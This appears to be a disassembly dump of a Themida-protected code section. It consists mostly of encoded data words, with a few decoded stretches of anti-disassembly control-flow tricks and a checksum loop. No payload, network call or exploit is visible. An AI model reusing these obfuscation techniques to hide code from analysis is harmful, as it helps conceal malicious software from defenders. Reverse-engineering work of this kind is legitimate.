		dd 0E406618Dh, 6AE1FF07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8915C353h, 0E41CD9BDh
		dd 0B9BD8307h, 7E422h, 435840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 7BA9D0C3h
		dd 0AE98Ch, 6CB90000h, 37E83AC4h, 4B3C98E7h, 18A19D8Bh
		dd 0BD8307E4h, 7E422B9h, 0F840F01h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 7364C353h, 3FDBAFDAh, 0C99D8D4Fh, 860FFB8Bh,	6, 2AB59D8Bh
		dd 0BD8307E4h, 7E422B9h, 99860F03h, 6A000003h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E861C350h, 5, 278D8956h, 0F8E0F38h,	0E9000000h, 0Ah
		dd 256367BFh, 0E0D91h, 235B0200h, 0E402119Dh, 6A6007h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66CAAEC3h, 870FD98Ch, 0Ah, 5E9h, 0D816C600h,	0E180CE5Dh
		dd 699D8904h, 0A07E425h, 54840FC9h, 1000001h, 0E41F3985h
		dd 51858B07h, 6A07E406h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0B99BC350h,	2201D86Ah
		dd 13E8534Ch, 84000000h, 63C6E795h, 8B73C3FAh, 774FC930h
		dd 4D94F02Dh, 10E9F86Ch, 28000000h, 0C641AD04h,	0C1BAF195h
		dd 5BA420E6h, 5F76CC2Dh, 20298533h, 9DBB07E4h, 504138D3h
		dd 0FA8B5250h, 0DE8B310Fh, 489585Ah, 53006A24h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 38BB668Eh
		dd 9E924h, 4C830000h, 0C0742922h, 6AB8FE20h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 6365829Fh, 9F69EA3h,	9D890413h, 7E42031h, 9D090EB7h
		dd 7E4313Dh, 4DDCBE68h,	3056BFEBh, 481277Eh, 0D1274124h
		dd 8BF96014h, 0E43235B5h, 30BF6107h, 0FF2E537Ah, 0E42D9995h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 85890320h, 7E7F8A5h, 6860Fh, 8D090000h
		dd 7E41879h, 16CE9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 12847D6Ah, 8B2D9677h
		dd 0E7F89D85h, 68F0F07h, 81000000h, 0F4C3F6EFh,	1800C753h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 89D3C353h, 24DE4860h, 0A1B58B5Eh
		dd 8907E7F8h, 0E4192595h, 99858B07h, 8907E400h,	0E41641BDh
		dd 0F5068907h, 651858Bh, 6A07E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0FE8083C3h, 0C2EB6B18h
		dd 7C529EBBh, 0C781664Bh, 9D8B969Fh, 7E40E11h, 1044689h
		dd 0E41D859Dh, 0BB665007h, 34899B69h, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 0C4BA725Ch, 2D059D8Bh, 8B6607E4h, 9DB5FFF9h,	8907E7F8h
		dd 0E42ED995h, 73726807h, 34811E3Eh, 21708D24h,	0A59D231Eh
		dd 8D07E42Fh, 0E7F8A585h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 84C168BDh
		dd 50DFB70Fh, 0FD4DBA60h, 8B6643B8h, 48961D8h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D311FFFh, 7E42651h,	5439EB81h, 95FF6116h, 7E42D99h
		dd 6A61F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 89D2D7C3h, 0E4228D8Dh, 0B985C707h, 307E422h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 62F2C355h, 9D8B3A06h, 7E41639h
		dd 14AD9D8Bh, 0BD8307E4h, 7E7F8A5h, 11840F00h, 66000000h
		dd 0E9CDFDBFh, 23h, 9B53150h, 5F07E423h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0B9D5C352h, 9CDAEE5Ch,	22B9BD83h
		dd 0F0307E4h, 3D085h, 0FBB70F00h, 0F8A5BD83h, 0F0007E7h
		dd 3C084h, 0B5FFFC00h, 7E7F8A5h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 7DC35545h, 0B4887ECEh, 0FE88389h
		dd 0C1000000h, 0E43D0D86h, 9D691579h, 0D42D738Dh, 8A0FA5C3h
		dd 2, 0FF5BF88Bh, 0E4044D95h, 0D8BF6607h, 99B58B3Ah, 8B07E7F8h
		dd 0E408819Dh, 106C707h, 6A000100h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0AFBAC356h
		dd 0E14FE3BBh, 8D899116h, 7E40439h, 3BB6650h, 2434890Bh
		dd 0CE8h, 0A777F900h, 225D24B3h, 1D4784D0h, 5FDF8B3Ah
		dd 0F8A5B5FFh, 8D8907E7h, 7E40E89h, 2A0995FFh, 0D98B07E4h
		dd 25F19589h, 0B58B07E4h, 7E7F899h, 1ADD8D89h, 858B07E4h
		dd 7E43165h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	12C35343h, 4980E47Eh, 0F88B662Eh, 0C48689h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0A7485FC3h, 8824407Ah, 958BFA8Bh, 7E41B71h, 27959589h
		dd 0C28307E4h, 89FA8B04h, 8D892050h, 7E41CA5h, 0CD4858Dh
		dd 6A07E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 6A7FA1C3h, 0B2F9B8EEh, 89F6409Ch,	0E4213D8Dh
		dd 5DBD8B07h, 8907E405h, 0B886h, 29B58900h, 0F07E414h
		dd 6AF8B7h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Dh,	82C35242h, 348DC415h, 36D7FF2Dh, 0A5B5FFEAh, 6A07E7F8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0C9D0C357h, 8166232Fh, 0FFCFB6F7h, 0E431AD95h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 510EEC71h, 0AC3BB11Fh, 30319589h, 0BF9607E4h
		dd 2A9F104Eh, 0EE950h, 0FF250000h, 0F755AC9Fh, 0B00BE280h
		dd 0E2B3E57Bh, 53006A96h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0FF259F8Eh, 0E7F8A5B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0FE91A466h, 68E386BFh, 0BF66CC77h, 95FF1BC1h
		dd 7E41B11h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	92C35040h, 8EA4E512h, 0B0D9D8Bh, 0BD8307E4h, 7E40DF9h
		dd 26840F00h, 0F000000h, 686h, 79BD0900h, 9607E40Dh, 9E9h
		dd 680EA500h, 78C43AF8h, 5050CAE4h, 0DE8B6652h,	585A310Fh
		dd 0A5B5FF96h, 0F07E7F8h, 0C8Eh, 68D0F00h, 89000000h, 0E409598Dh
		dd 7D95FF07h, 6A07E402h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0C402C357h,	0E59D8B00h
		dd 0FF07E418h, 0E7F8A5B5h, 48A0F07h, 52000000h,	0FF5B6160h
		dd 0E4097195h, 68F0F07h, 33000000h, 0E43011BDh,	21BD8307h
		dd 207E40Ah, 77840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 889E5DC3h, 0BD0BE254h
		dd 7E420F5h, 1EB5858Bh,	6A07E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0BBE167C3h, 6B3D5915h
		dd 0DE960h, 9EEE0000h, 0D7694F5Bh, 534BCC70h, 666C3767h
		dd 6121ACB9h, 0E1BD0160h, 8107E418h, 692833D3h,	0C66117h
		dd 7185C700h, 7E426h, 29000000h, 0E40D318Dh, 0F433E907h
		dd 880FFFFFh, 6, 2301BD31h, 8D2907E4h, 7E42639h, 6AC18Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0C249FCC3h, 0CBFFDB81h, 858D5C53h, 7E40D85h,	8B666090h
		dd 8B5250D9h, 0B5310FCAh, 61585AABh, 12E950h, 1D730000h
		dd 4C9C5ECEh, 2E989985h, 24427D70h, 0E4B11E02h,	0A5BD0390h
		dd 6A07E41Fh, 85BD8B00h, 6A07E402h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 36965EC8h
		dd 12E994DBh, 0CB000000h, 0A1EC12C3h, 0B9125EECh, 0DE2AB413h
		dd 3EEAB696h, 69950114h, 8D07E40Fh, 0E91F3C85h,	0C083F507h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 7252E92Eh, 9D8BD780h, 7E40291h, 8E990h
		dd 0BB480000h, 58DD93BAh, 8B50DE9Bh, 6A90DEh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 7900DDC3h
		dd 8B2BC1F9h, 0E422B5BDh, 80006A07h, 6A54EBh, 95FF23B3h
		dd 7E42471h, 9159D8Bh, 8D8D07E4h, 7E7D64Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 20C35242h, 0B0702BF6h
		dd 0CF80F956h, 8AD1FFCCh, 15BD83F9h, 107E420h, 31850Fh
		dd 26A0000h, 1A419589h,	0BD8B07E4h, 7E42251h, 9F33BF50h
		dd 489347Bh, 25BD8B24h,	8B07E40Ah, 0E4194D9Dh, 0AD95FF07h
		dd 0F07E431h, 287h, 0E985B300h,	0F11h, 0E8h, 0ED815D00h
		dd 7E91F46h, 1FF99D89h,	9D8B07E4h, 7E422F9h, 0C6E1858Dh
		dd 0E38107E7h, 5C46A629h, 24048950h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0FFC35545h,	0E7555CAEh, 7E91506h
		dd 8E000000h, 0CA99A73Dh, 0FF64F503h, 35h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 662C4B27h, 44E9C781h, 1A4D9501h, 896407E4h, 25h, 7622BB00h
		dd 85FF3177h, 7E420B9h,	22418D89h, 860F07E4h, 0Eh, 9E9h
		dd 5E5F9000h, 0C02D263h, 0FF6A5308h, 18A98D89h,	0B5FF07E4h
		dd 7E41E8Dh, 3860Fh, 8B660000h,	4D95FFD8h, 0E907E430h
		dd 142h, 6860Fh, 0D7810000h, 35923030h,	0B0DA8Bh, 0CE9h
		dd 45CF6900h, 99DA2D91h, 16F506C7h, 2970E64Dh, 0E41AB58Dh
		dd 8B71E407h, 0E426E99Dh, 0F613C07h, 10983h, 14FABB00h
		dd 0BD8B1BF0h, 7E429DDh, 8BC8B60Fh, 0E42BB1BDh,	6BA07h
		dd 0BD030000h, 7E422B1h, 0E8C1C18Bh, 9D895104h,	7E41F3Dh
		dd 0E2F7665Bh, 60DF8B66h, 0A4A1DF81h, 858B1A53h, 7E40F95h
		dd 0E8C82B61h, 0Dh, 0DE740FD8h,	8847C9B8h, 35627B57h, 3DADBF10h
		dd 8B5F1BB1h, 11E9D1h, 16910000h, 78F001h, 9B80864Ah, 3BD7AAE6h
		dd 667FA85Ah, 0E9DD25BBh, 8Eh, 8BDFBF0Fh, 485h,	9D9D3100h
		dd 0FC07E42Bh, 6607C083h, 42A8C381h, 0B300C083h, 0FD03BFAh
		dd 2883h, 0CE900h, 27E50000h, 489E9DC0h, 6CBA4ABCh, 53E924BFh
		dd 0F000000h, 682h, 75958900h, 3107E42Dh, 0E403D1B5h, 0FF8D8B07h
		dd 9FFFFFFh, 0E4144DB5h, 1E18307h, 2C840Fh, 0BD8B0000h
		dd 7E43209h, 0FFFFA583h, 0BFFEFFFFh, 7457705Ch,	0AE9h
		dd 0F732D800h, 4981FF87h, 895CDC1Dh, 495h, 0E900h, 0B58D0000h
		dd 7E899A5h, 13959531h,	6A07E4h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 18h, 23C35747h, 0BD0E609Fh, 95FF22B7h
		dd 7E40E41h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0DDC35343h
		dd 8589F9E0h, 7E41815h,	0FB5B9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 89727EF8h
		dd 0E42689B5h, 0FCE18307h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0B9C35040h, 0E12B8DC5h, 50006AFCh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 4CA6FA1Ch, 81668717h, 0B86BC1CBh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5D46BF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D46BF	proc near		; CODE XREF: Themida_:005D46B7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5D46BF	endp

; ---------------------------------------------------------------------------
		pop	ebp
		xor	eax, [esi+ecx*2]
		mov	al, 0E4h
		xor	[ebp+7E401A5h],	eax
		sub	edx, edx
		push	0
		push	ebx
		call	sub_5D46E8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D46E8	proc near		; CODE XREF: Themida_:005D46E0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5D46E8	endp

; ---------------------------------------------------------------------------
		dec	ecx
		cmp	bh, [ebx-48A85B34h]
		mov	ebx, [ebp+7E40141h]


loc_5D4705:				; CODE XREF: Themida_:005D470Fj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D4705
		push	0
		push	ebx
		call	sub_5D471C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D471C	proc near		; CODE XREF: Themida_:005D4714p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5D471C	endp

; ---------------------------------------------------------------------------
		dd 0BC3119FEh, 6AF8629Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 22D8C351h, 3FF8133Dh
		dd 669BD8Bh, 880D07E4h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 32BFC357h
		dd 162904E4h, 8BE97309h, 0E41AA1BDh, 99BD2307h,	8B07E423h
		dd 0E41B7195h, 5E907h, 0E0110000h, 8B998D13h, 0E42DA18Dh
		dd 8DF38107h, 5008E8F5h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0A8FCD598h, 158B0FA1h, 0E8000000h
		dd 0Ch,	3038F183h, 0FB420A7Ch, 40F9C61Dh, 5FFBB70Fh, 2601BD8Bh
		dd 0BD8307E4h, 7E40611h, 6A840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 5A61C352h, 0E5B3C6B6h, 0B8h,	55BD8B00h, 8107E416h, 0D22EC5E3h
		dd 0E78D8D59h, 0E907E44Fh, 7, 0E7FF7DE7h, 0FF30A050h, 50006AE1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 23C641ADh, 0E41E199Dh, 0B9BD8307h, 7E422h, 4B8840Fh
		dd 0BD290000h, 7E40085h, 4CABD781h, 0BD834E7Ah,	7E422B9h
		dd 0BA840F01h, 3000004h, 0E407B59Dh, 0B9BD8307h, 307E422h
		dd 471860Fh, 840F0000h,	6, 3071BD8Bh, 6A6007E4h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0E310C356h, 8C66CC12h, 53006AD9h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BE6BDBDh
		dd 0E41B1D9Dh, 0FAB70F07h, 6A04E180h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0A6EC357h
		dd 9B840FC9h, 0F000001h, 0A8Eh,	5E900h,	92000000h, 8BA8DBAAh
		dd 0E4065185h, 49958907h, 3307E423h, 0E4202985h, 0DE907h
		dd 52540000h, 0B2F3864Fh, 0F29B2C3Eh, 9057E11Eh, 0FE9h
		dd 0BD957A00h, 1850CF4Eh, 0F63F8CFDh, 282F08F8h, 50525050h
		dd 0F525052h, 0F585A31h, 5AD88B31h, 60310F58h, 0B0EE6EBFh
		dd 0DE8B666Ah, 90585A61h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0E1C35242h, 8166353Fh, 6AE6FEDBh, 0BF0F6000h
		dd 10E9CEh, 3A60000h, 9AA26631h, 796646C1h, 9D822777h
		dd 68615B58h, 0AB40FACh, 753343BBh, 2434815Bh, 0AAB0C53h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7EC35242h
		dd 7E8h, 358FE800h, 9F02D71Bh, 5959D31h, 0E85F07E4h, 7
		dd 5B7E73C8h, 0FC613A6Fh, 9995FF5Bh, 6A07E42Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 2A31C355h, 0DEF90C29h, 0D98B17EBh, 12E8h, 0B583CB00h
		dd 0E20B6479h, 44413BB4h, 523A76CFh, 2B61E4E5h,	0E404319Dh
		dd 0BF665F07h, 8589E9D7h, 7E7F8A5h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0E5C35747h,	29B31A0Dh, 0B75FBBFBh
		dd 0AE97DB9h, 6A000002h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 3436C357h, 25E0F31Ch
		dd 3E9B509h, 858B07E4h,	7E7F89Dh, 0EE9h, 0AB0B1B00h, 99D95D05h
		dd 0EF5FE744h, 0C7AFA6AFh, 1800h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 298D89FBh
		dd 8B07E406h, 0E7F8A1B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0D98B3DFFh
		dd 99858Bh, 9D2307E4h, 7E4258Dh, 6A0689h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 275166C3h
		dd 5484BF0Ch, 6850Fh, 85310000h, 7E40991h, 651858Bh, 0FE8B07E4h
		dd 89FAB70Fh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 3758B9C3h, 217F3ED7h, 2369FEB3h
		dd 0E404D19Dh, 63BF9607h, 5061E4BDh, 0A830Fh, 850F0000h
		dd 4, 7A78BB66h, 51006A96h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 5D145A4Fh, 3C6A2592h
		dd 0F99589BDh, 0FF07E400h, 0E7F89DB5h, 21BD8B07h, 6607E42Dh
		dd 688539BBh, 0B27077F6h, 0AE9h, 0D8865200h, 9F5D9B2Dh
		dd 8148B13Ah, 8C092404h, 0BD314DAEh, 7E42B61h, 0F8A5858Dh
		dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 128E11C3h, 397E6189h, 0F903586h, 388Dh, 0E8525000h
		dd 12h,	1072424Bh, 0EDA99ABAh, 0CCCB986Ch, 49C9654h, 0F5B54A1h
		dd 14E831h, 36EB0000h, 296570A6h, 9A8C4255h, 6F0FD98Bh
		dd 0A3482BEEh, 5A5BB6ADh, 8B905058h, 0E4249DBDh, 9995FF07h
		dd 5307E42Dh, 12E9h, 0BD299D00h, 0EF7D573Ah, 1B1CDCDDh
		dd 0A522B05Ch, 5FD4106Ch, 0B8ADA7BBh, 6A6109h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 3F0621C3h, 178F5A80h, 28B0F56h, 0B3000000h, 85C75BB6h
		dd 7E422B9h, 3,	20E5BD89h, 0BD8307E4h, 7E7F8A5h, 2C840F00h
		dd 89000000h, 0E4332DB5h, 3CE907h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 200853C3h
		dd 50F97D36h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 9868AEC3h, 7E381D7h, 891971BCh
		dd 0E416518Dh, 0B9BD8307h, 307E422h, 516850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 14460FC3h, 362F96F9h, 816603B2h, 837FD3F7h, 0E7F8A5BDh
		dd 840F0007h, 4E0h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 9CC35040h, 3B500863h,	0E1B5893Dh, 0FF07E402h
		dd 0E7F8A5B5h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0EC9DEE09h, 0FD8BF0Fh
		dd 18Dh, 95FFF800h, 7E4044Dh, 86EB8166h, 0F11BB5Ch, 0B58B2F32h
		dd 7E7F899h, 6C7DE8Bh, 10001h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 85C35545h, 66FF56CEh, 0F96FE8Bh
		dd 188Ch, 13E900h, 22050000h, 836C528h,	8B96BDADh, 98D1CF35h
		dd 45E053F6h, 7E8504Ch,	3E000000h, 0BC1859CCh, 4AB3EEBAh
		dd 6A965Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 40C24BC3h, 0FF0A5F1Ch, 0E7F8A5B5h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 11454F67h, 59CAAF63h, 13E8E17Eh, 3000000h, 12A73089h
		dd 0F734DFE8h, 310934C9h, 9E7BB38Ch, 0D98B6C5Eh, 0F88B665Fh
		dd 2A0995FFh, 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h
		dd 57470000h, 7CEA7CC3h, 8D29B384h, 7E413D1h, 0F899B58Bh
		dd 6A07E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 20C3E1C3h, 96112EDBh, 858B17D7h, 7E43165h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 6CC35242h
		dd 0D8E90424h, 0F0D381B6h, 0E9688B25h, 6, 60AAC9A5h, 868985A3h
		dd 0C4h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	38C35747h, 0E06846DBh, 0D552200h, 68A0Fh, 0C3810000h
		dd 4BAEBE63h, 2D9B529h,	958B07E4h, 7E41B71h, 0BD92C381h
		dd 0C283337Fh, 0E5BD8904h, 8907E41Dh, 6A2050h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 1883C0C3h, 8DAFB4B6h, 0E80CD485h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 994116D1h
		dd 8B66CE5Ch, 0B88689FAh, 31000000h, 0E406D1B5h, 6A006A07h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 1C31C357h, 60EE825Eh, 95892947h, 7E4141Dh
		dd 0F8A5B5FFh, 6A07E7h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8589B5C3h, 7E41441h, 31AD95FFh
		dd 0BF6607E4h, 6650BAB4h, 89CDCBBBh, 6A2434h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0BBEB42C3h
		dd 528FEF3Fh, 2B48ACBBh, 0A5B5FF39h, 6A07E7F8h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0C492C351h, 0EE86090h, 0C9000000h, 95474C76h, 4CF16F78h
		dd 0E2F58A48h, 1FBE66EEh, 895059E0h, 0E40219B5h, 0FF615907h
		dd 0E41B1195h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0B1329A3Dh, 25159529h
		dd 83F807E4h, 0E40DF9BDh, 840F0007h, 59h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 0C9C35545h, 2F4A9B64h
		dd 0F885D1Ah, 681h, 659D3300h, 9607E41Ch, 2840BB66h, 82B36050h
		dd 9E960h, 0ECF50000h, 34A9752h, 50169075h, 5A310F52h
		dd 96616158h, 3860Fh, 0C3800000h, 0A5B5FF05h, 6A07E7F8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 3276C352h, 0D8AC7415h, 0D98BBDA3h, 27D95FFh
		dd 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8B6685C3h, 0A5B5FFD9h, 6A07E7F8h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 45B7C351h, 0E6D8B949h, 0B925BB99h, 97195FFh,	6A07E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 9C0B6EC3h, 0BBF47F6Bh, 1A0BC88h, 0A21BD83h, 0F0207E4h
		dd 5084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 8BD98B0Ch, 0E41EB585h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD8BD2F6h, 7E412C1h, 2B0000C6h, 0E414BD9Dh,	7185C707h
		dd 7E426h, 0BF000000h, 531DD13Dh, 0FFF1B9E9h, 8D9D8BFFh
		dd 8B07E412h, 0E423A9BDh, 66C18B07h, 8BE36DBFh,	0E400CD9Dh
		dd 85858D07h, 0F07E40Dh, 83h, 90509000h, 31CD8589h, 6A07E4h
		dd 237DBD2Bh, 0EE907E4h, 2F000000h, 0A7D505F3h,	0DC642C61h
		dd 1A00A8D5h, 8B006AE8h, 0E4332DBDh, 30858D07h,	6A07E930h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 195C352h,	816A37F5h, 0B7049C3h, 5C0837Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D8C35141h
		dd 4D9D239Eh, 8907E41Ch, 0E4272D8Dh, 66509007h,	9022B8BBh
		dd 168E0Fh, 11E90000h, 82000000h, 72E90ED4h, 0AF9CAF85h
		dd 3844C0Dh, 71EF014Fh,	9E8h, 0BEB36100h, 0E09FA3F2h, 14E94BD1h
		dd 0AF000000h, 0AED53236h, 20F3DCDAh, 916E136Bh, 0B745AD00h
		dd 5FB0370Bh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 1A639C3h, 5199D8Bh, 6A07E4h, 0FF50D780h
		dd 0E4247195h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E979CACFh, 0Fh, 11EF2123h
		dd 6ACCE1E5h, 0EBA4F09Dh, 8D14DC55h, 0E7D64B8Dh, 5E907h
		dd 782E0000h, 0FFE854DEh, 56006AD1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0AA6C173Bh
